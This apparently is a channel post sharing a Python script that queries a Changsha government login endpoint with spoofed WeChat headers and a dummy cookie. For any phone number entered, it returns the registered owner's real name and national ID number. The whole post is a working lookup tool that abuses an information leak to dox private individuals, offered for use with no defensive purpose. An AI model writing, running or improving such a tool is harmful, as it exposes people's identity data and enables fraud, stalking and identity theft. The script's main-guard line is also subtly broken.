Ma'lumot yo'q
Obunachilar
+624 soatlar
-1617 kun
+41330 kun
Postlar arxiv
0
import requests
import urllib
def changsha_jizhu(phone):
"""
根据手机号查询用户信息
:param phone: 手机号
:return: 查询结果
"""
url = f"https://huser.hncsga.cn/huotiLogin/loginH5?huoti_username={phone}"
headers = {
'Host': 'huser.hncsga.cn',
'Connection': 'keep-alive',
'sec-ch-ua': '1',
'sec-ch-ua-mobile': '?1',
'User-Agent': '1',
'sec-ch-ua-platform': '"IOS"',
'Accept': '*/*',
'X-Requested-With': 'com.tencent.mm',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Referer': 'https://huser.hncsga.cn/thirdParty/loginAndConnect?type=2',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
'Cookie': 'person-sid=1'
}
try:
resp = requests.get(url, headers=headers)
ret = resp.json()
except Exception as e:
return f"手机号 {phone} 查询失败:{e}"
if "error" in ret and ret["error"] == "您所输入的账号尚未注册。请先注册或更换账号。":
return f"手机号 {phone} 查询为空"
elif "pid" in ret and "name" in ret:
name = ret["name"]
if name:
name = urllib.parse.unquote(name)
idcard = ret["pid"]
return f"手机号 {phone} 查询结果:\n姓名: {name}\n身份证号: {idcard}"
else:
return f"手机号 {phone} 查询结果未知"
if name == 'main':
while True:
phone = input("请输入手机号(或输入 'exit' 退出):")
if phone.lower() == 'exit':
break
result = changsha_jizhu(phone)
print(result)
湖南机主py
